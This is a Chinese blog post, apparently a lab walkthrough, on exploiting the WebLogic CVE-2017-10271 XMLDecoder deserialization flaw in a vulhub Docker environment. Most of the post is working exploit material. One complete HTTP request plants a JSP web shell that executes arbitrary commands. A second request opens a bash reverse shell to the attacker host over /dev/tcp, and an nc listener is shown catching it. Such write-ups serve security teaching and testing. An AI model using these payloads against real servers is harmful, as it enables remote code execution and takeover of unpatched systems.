WeblogicCVE-2017-10271 xml反序列化

本文详细介绍了CVE-2017-10271漏洞如何通过WebLogic的XMLDecoder解析漏洞进行攻击,包括环境搭建、POC利用、shell反弹过程。重点讲解了如何利用burp进行payload构造和接收反弹的shell实例。
摘要由CSDN通过智能技术生成

Weblogic CVE-2017-10271 xml反序列化



漏洞成因

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

参考文章:传送门

理解java反序列化漏洞:传送门

实验环境

主机角色IP
centos8漏洞靶机192.168.1.80
windows10攻击机(burp)192.168.1.120

实验流程

开启漏洞环境centos8

service docker start
cd /usr/sbin/vulhub/weblogic/CVE-2017-10271
docker-compose build
docker-compose up -d

尝试访问漏洞页面:

image-20210527145616089

如图所示,环境搭建成功。

写入webshell

poc如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
HOST: 192.168.1.80:7001
Accept-Encoding: gzip,deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1259

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  <!--定义soap环境内容-->
	<soapenv:Header>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	<java><java version="1.4.0" class="java.beans.XMLDecoder">  <!--定义java版本和class-->
	<object class="java.io.PrintWriter"> <!--实例化java.io.PrintWriter类为一个对象-->
	<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <!--为对象传入一个string类型的参数-->
	<void method="println"><string>   <!-- 调用java.io.ProintWriter类中的printIn方法 -->
        <!--为println方法传入一个string型的参数,内容为jsp一句话木马 -->
	<![CDATA[                               
<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
	StringBuilder line = new StringBuilder();
	try {
		Process pro = Runtime.getRuntime().exec(c);
		BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
		String temp = null;
		while ((temp = buf.readLine()) != null){
			line.append(temp+"\\n");
		}
		buf.close();
	} catch (Exception e) {
		line.append(e.getMessage());
	}
	return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
	out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
	out.println(":-)");
}
%>
	]]>
	</string>
	</void>
	<void method="close"/>
	</object></java></java>
	</work:WorkContext>
	</soapenv:Header>
	<soapenv:Body/>
</soapenv:Envelope>

java.io.PrintWriter使用方法

import java.io.IOException;
import java.io.PrintWriter;

public class PWDemo {
    public static void main(String[] args) throws IOException {
		PrintWrite pw = new PrintWriter("pw.txt");  //实例化一个对象,并传入参数(文件路径)
		pw.println("他日若遂凌云志");  //写入内容
		pw.println("敢笑黄巢不丈夫");  
		System.out.println("写入完毕!");  //输出回显
		pw.close();   //关闭并保存文件
    }
}

利用burp向漏洞靶机发送数据包:

image-20210527150150224

用浏览器访问漏洞页面,并传入参数:

image-20210527150257388

反弹shell

poc如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">  <!--定义ProcessBuilder类-->
<array class="java.lang.String" length="3">   <!--设置参数为三个string型元素的数组-->
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.1.120/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
//ProcessBuilder使用方法
//此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。
ProcessBuilder pb = new ProcessBuilder("myCommand", "myArg1", "myArg2");

在windows本地开启nc端口监听:

image-20210527162529648

用burp发送poc数据包:

image-20210527162503885

收到反弹的shell:

image-20210527162615894

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值